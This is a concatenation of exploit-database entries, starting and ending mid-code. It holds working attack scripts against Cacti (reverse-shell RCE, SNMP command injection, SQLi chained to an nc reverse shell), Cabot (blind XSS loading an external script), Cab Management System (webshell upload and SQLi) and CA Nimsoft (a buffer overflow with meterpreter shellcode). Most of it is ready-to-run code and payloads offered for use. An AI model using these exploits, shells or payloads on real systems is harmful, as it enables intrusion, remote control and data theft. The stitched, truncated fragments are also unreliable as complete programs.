print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")
else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()
else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()
# Exploit Title: Cacti 1.2.26 - Remote Code Execution (RCE) (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
#!/usr/bin/python3
import os
import requests
import base64
import gzip
import time
import argparse
import string
import random
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
def get_random_string(length):
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def check_version(url_to_check):
r = requests.get(url_to_check)
response = r.text
if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
print("[+] Version seems to be 1.2.26")
else:
print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
# Main function
if __name__ == '__main__':
p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
p.add_argument('--url', help="URL of the Cacti web root", required=True)
p.add_argument('--user', help="username to log in", required=True)
p.add_argument('--password', help="password of the username", required=True)
p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)
# Parse CLI arguments
parser = p.parse_args()
url = parser.url
username = parser.user
password = parser.password
lhost = parser.lhost
lport = parser.lport
verbose = parser.verbose
url = url.rstrip("/")
print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n")
# check if versions match
print("[*] Checking Cacti version...")
time.sleep(0.5)
check = check_version(url + "/CHANGELOG")
if check == False:
sys.exit(0)
req = requests.Session()
if verbose:
print("[*] Capturing CSRF token...")
r = req.get(url)
# extract CSRF token
soup = BeautifulSoup(r.text, 'html.parser')
html_parser = soup.find('input', {'name': '__csrf_magic'})
csrf_token = html_parser.get('value')
if verbose:
print("[+] CSRF token: " + csrf_token)
print("[*] Logging in on " + url + "/index.php")
# define login post data
login_data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password,
'remember_me': 'on'
}
# send login request
r = req.post(url + "/index.php", data=login_data)
# check success
if 'Logged in' in r.text:
print("[+] Successfully logged in as " + username)
else:
print("[-] An error has ocurred while logging in as " + username)
sys.exit(0)
# generate random filename
random_name = get_random_string(10)
random_filename = random_name + ".php"
payload = """<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '""" + lhost + """';
$port = """ + lport + """;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>"""
# generate payload
print("[*] Generating malicious payload...")
keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
b64_file_signature = base64.b64encode(file_signature).decode('utf-8')
b64_public_key = base64.b64encode(public_key).decode('utf-8')
data = """<xml>
<files>
<file>
<name>resource/""" + random_filename + """</name>
<data>""" + b64_payload + """</data>
<filesignature>""" + b64_file_signature + """</filesignature>
</file>
</files>
<publickey>""" + b64_public_key + """</publickey>
<signature></signature>
</xml>"""
signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
final_data = data.replace("<signature></signature>", "<signature>" + base64.b64encode(signature).decode('utf-8') + "</signature>").encode('utf-8')
# write gzip data
f = open(random_filename + ".gz", "wb")
f.write(gzip.compress(final_data))
f.close()
print("[+] Malicious GZIP: " + random_filename + ".gz")
# define post data
post_data = {
'__csrf_magic': csrf_token,
'trust_signer': 'on',
'save_component_import': 1,
'action': 'save'
}
# upload file
print("[*] Uploading GZIP file...")
# send post request
r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')})
print("[+] Successfully uploaded GZIP file")
time.sleep(0.5)
print("[*] Validating success...")
soup = BeautifulSoup(r.text, 'html.parser')
html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename})
file_id = html_parser.get('id')
post_data = {
'__csrf_magic': csrf_token,
'trust_signer': 'on',
'data_source_profile': 1,
'remove_orphans': 'on',
'replace_svalues': 'on',
file_id: 'on',
'save_component_import': 1,
'preview_only': '',
'action': 'save',
}
r = req.post(url + "/package_import.php?header=false", data=post_data)
print("[+] Success!")
time.sleep(0.5)
print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename)
time.sleep(0.2)
print("[+] Check your netcat listener")
# remove payload file
os.remove(random_filename + ".gz")
r = req.get(url + "/resource/" + random_filename)
# Exploit Title: Cacti 1.2.24 - Authenticated command injection when using SNMP options
# Date: 2023-07-03
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/info/downloads
# Version: Cacti 1.2.24
# Tested on: Cacti 1.2.24 installed on 'php:7.4.33-apache' Docker container
# CVE: CVE-2023-39362
# Category: WebApps
# Original Security Advisory: https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp
# Example Vulnerable Application: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
# Vulnerability discovered and reported by: Antonio Francesco Sardella
=======================================================================================
Cacti 1.2.24 - Authenticated command injection when using SNMP options (CVE-2023-39362)
=======================================================================================
-----------------
Executive Summary
-----------------
In Cacti 1.2.24, under certain conditions, an authenticated privileged user, can use a malicious string in the SNMP options of a Device, performing command injection and obtaining remote code execution on the underlying server.
-------
Exploit
-------
Prerequisites:
- The attacker is authenticated.
- The privileges of the attacker allow to manage Devices and/or Graphs, e.g., "Sites/Devices/Data", "Graphs".
- A Device that supports SNMP can be used.
- Net-SNMP Graphs can be used.
- snmp module of PHP is not installed.
Example of an exploit:
- Go to "Console" > "Create" > "New Device".
- Create a Device that supports SNMP version 1 or 2.
- Ensure that the Device has Graphs with one or more templates of:
- "Net-SNMP - Combined SCSI Disk Bytes"
- "Net-SNMP - Combined SCSI Disk I/O"
- (Creating the Device from the template "Net-SNMP Device" will satisfy the Graphs prerequisite)
- In the "SNMP Options", for the "SNMP Community String" field, use a value like this:
public\' ; touch /tmp/m3ssap0 ; \'
- Click the "Create" button.
- Check under /tmp the presence of the created file.
To obtain a reverse shell, a payload like the following can be used.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
A similar exploit can be used editing an existing Device, with the same prerequisites, and waiting for the poller to run. It could be necessary to change the content of the "Downed Device Detection" field under the "Availability/Reachability Options" section with an item that doesn't involve SNMP (because the malicious payload could break the interaction with the host).
----------
Root Cause
----------
A detailed root cause of the vulnerability is available in the original security advisory (https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp) or in my blog post (https://m3ssap0.github.io/articles/cacti_authenticated_command_injection_snmp.html).
----------
References
----------
- https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp
- https://m3ssap0.github.io/articles/cacti_authenticated_command_injection_snmp.html
- https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295
#!/usr/bin/python3
import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup
# proxies = {'http': 'http://127.0.0.1:8080'}
def login(url, username, password, session):
print("[+] Connecting to the server...")
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)
print("[+] Retrieving CSRF token...")
html_content = get_token_request.text
soup = BeautifulSoup(html_content, 'html.parser')
csrf_token = soup.find_all('input')[0].get('value').split(';')[0]
if csrf_token:
print(f"[+] Got CSRF token: {csrf_token}")
print("[+] Trying to log in...")
data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password
}
login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
if "Invalid User Name/Password Please Retype" in login_request.text:
print("[-] Unable to log in. Check your credentials")
sys.exit()
else:
print("[+] Successfully logged in!")
else:
print("[-] Unable to retrieve CSRF token!")
sys.exit()
def exploit(lhost, lport, session):
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"
exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)
print("\n[+] SQL Injection:")
print(exploit_request.text)
try:
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
except Exception:
pass
print("[+] Check your nc listener!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')
parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
args = parser.parse_args()
url = args.t
username = args.u
password = args.p
lhost = args.lhost
lport = args.lport
session = requests.Session()
login(url, username, password, session)
exploit(lhost, lport, session)
# Exploit Title: Cabot 0.11.12 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Abhiram V
# Vendor Homepage: https://cabotapp.com/
# Software Link: https://github.com/arachnys/cabot
# Version: 0.11.12
# Tested on: Ubuntu Linux
############################################################################
Introduction
Cabot is a free, open-source, self-hosted infrastructure monitoring
platform
that provides some of the best features of PagerDuty, Server Density,
Pingdom
and Nagios without their cost and complexity.It provides a web interface
that allows
us to monitor services and send telephone, sms or hipchat/email alerts to
your
on-duty team if those services start misbehaving or go down .
############################################################################
XSS details: Blind XSS
############################################################################
Executing Blind XSS in New Instances leads to admin account takeover
URL
http://127.0.0.1:5000/instance/create/
PAYLOAD
"><script src=https://anonart.xss.ht></script>
*payload from xsshunter.com platform for finding blind xss*
PARAMETER
Address column
EXPLOITATION
Create a user account under django administrator account and login as user
to perform the attack
Create a new instance and save the instances, Navigate to Services.
Create a new Service from then input a Name and Url (for POC i used
BlindXSS in both columns).
Then append the admin account in Users to notify column and use status
check and instances then save.
Now the admin account gets a notification when the admin runs the check
Blind XSS executes in background.
when login to xsshunter.com we can see the screenshots cookies and all
details of admin account
IMPACT
Stored XSS can be executed from any accounts and triggered in any accounts
including django administration
unknowingly by the victim (here it is admin) and compromise the accounts.
Tested in both xsshunter.com and blindf.com
Attacker can also use stored xss payloads here.
############################################################################
# Exploit Title: Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
#
# Step 1: Login admin account and go settings of site
# Step 2: Update web site icon and selecet a webshell.php
# Step3 : Upload your webshell that's it...
#
######## Proof of Concept ########
========>>> START REQUEST <<<=========
POST /cms/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 11338
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cms/admin/?page=system_info
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=samlsgsrh4iq50eqc1qldpthml
Connection: close
<-- SNIPP HERE -->
------WebKitFormBoundaryc5vp1oayEolowCbb
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/octet-stream
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundaryc5vp1oayEolowCbb
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryc5vp1oayEolowCbb--
<-- SNIPP HERE -->
========>>> END REQUEST <<<=========
========>>> EXPLOIT CODE <<<=========
import requests
print("""
--------------------------------------------
| |
| Author: Alperen Ergel (@alpernae) |
| |
| CAB Management System v1 Exploit |
| |
--------------------------------------------
""")
username = input("Username: ")
password = input("Password: ")
URL = input("Domain: ")
burp0_url = "http://" + URL + "/cms/classes/Login.php?f=login"
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://192.168.1.33", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://192.168.1.33/cms/admin/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username": username, "password": password}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
FILE = input("File: ")
burp0_url = "http://" + URL + "/cms/classes/SystemSettings.php?f=update_settings"
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://localhost", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost/cms/admin/?page=system_info", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nCab Management System\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nCMS - PHP\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[welcome]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[about]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + FILE + "\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"cover\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
# Exploit Title: Cab Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
#
# Authenticate and get update client settings will be appear the
# id paramater put your payload at there it'll be work
#
#
#
######## Proof of Concept ########
========>>> REQUEST <<<=========
GET /cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipk9m05n1nt
Connection: close
# # # # #
# Exploit Title: Cab Booking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/cab-booking-script-2/
# Demo: http://fxwebsolution.com/demo/cab_booking/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/service-list?city=[SQL]&main_search=
#
# '+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
#
#
# # # # #
# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow
# Exploit Author: wetw0rk
# Exploit Version: Public POC
# Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en
# Software Version : 7.80
# Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64)
# CVE: CVE-2020-8012
/**************************************************************************************************************************
* *
* Description: *
* *
* Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. *
* The exploit won't crash the service. *
* *
* You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it *
* should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being *
* universal (worked first try on 2012). *
* *
* Note: *
* *
* This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass *
* the stack cookie. WE OUT HERE!!! *
* *
* Compile: *
* *
* gcc poc_release.c -o singAboutMeImDyingOfThirst *
* *
* Shoutout: *
* *
* Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA *
* for dropping Ghidra, and my Mentor *
* *
* ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- *
* 11/07/19 - Vendor contacted (POC code and POC video sent) *
* 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug *
* 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled *
* 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) *
* 12/03/19 - Vendor confirms exploitability and vulnerability presence *
* 12/13/19 - Vendor finalizing hotfix *
* 12/19/19 - Vendor hotfix tested against POC code *
* 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 *
* 01/21/20 - Vendor replies (awaiting more info) *
* 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch *
* 02/XX/20 - PoC sample dropped *
**************************************************************************************************************************/
#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */
unsigned char shellcode[] = \
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
const char *exploited[] = \
{
"10.0.18362",
"6.3.9600",
};
const char *versions[]= \
{
"7.80 [Build 7.80.3132, Jun 1 2015]",
};
/********************************************************************************************************************
* *
* NimsoftProbe: *
* *
* This is the structure used for the packet generator, it will be used specifically as the return type. Within *
* the structure there are 2 members, first the pointer to the packet and secondly the packet length. *
* *
* NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): *
* *
* This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a *
* few modifications where made to handle the exploit buffer (mainly since it contains NULLS). *
* *
********************************************************************************************************************/
#define PHLEN 300 /* header */
#define PBLEN 2000 /* body */
#define PALEN 10000 /* argv */
#define FPLEN 20000 /* final probe */
#define CLIENT "127.0.0.1/1337"
#define INTSIZ(x) snprintf(NULL, 0, "%i", x)
unsigned char packet_header[] = \
"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a";
unsigned char packet_body[] = \
/* nimbus header */
"\x6d\x74\x79\x70\x65\x0F" /* mtype */
"\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */
"\x63\x6d\x64\x0F" /* cmd */
"\x37\x0F%d\x0F" /* 7.x */
"%s\x0F" /* probe */
"\x73\x65\x71\x0F" /* seq */
"\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */
"\x74\x73\x0F" /* ts */
"\x31\x0F%d\x0F" /* 1.X */
"%d\x0F" /* UNIX EPOCH */
"\x66\x72\x6d\x0F" /* frm */
"\x37\x0F%d\x0F" /* 7.15 */
"%s\x0F" /* client addr */
"\x74\x6f\x75\x74\x0F" /* tout */
"\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */
"\x61\x64\x64\x72\x0F" /* addr */
"\x37\x0F\x30\x0F"; /* 7.0 */
typedef struct {
char *packet;
int length;
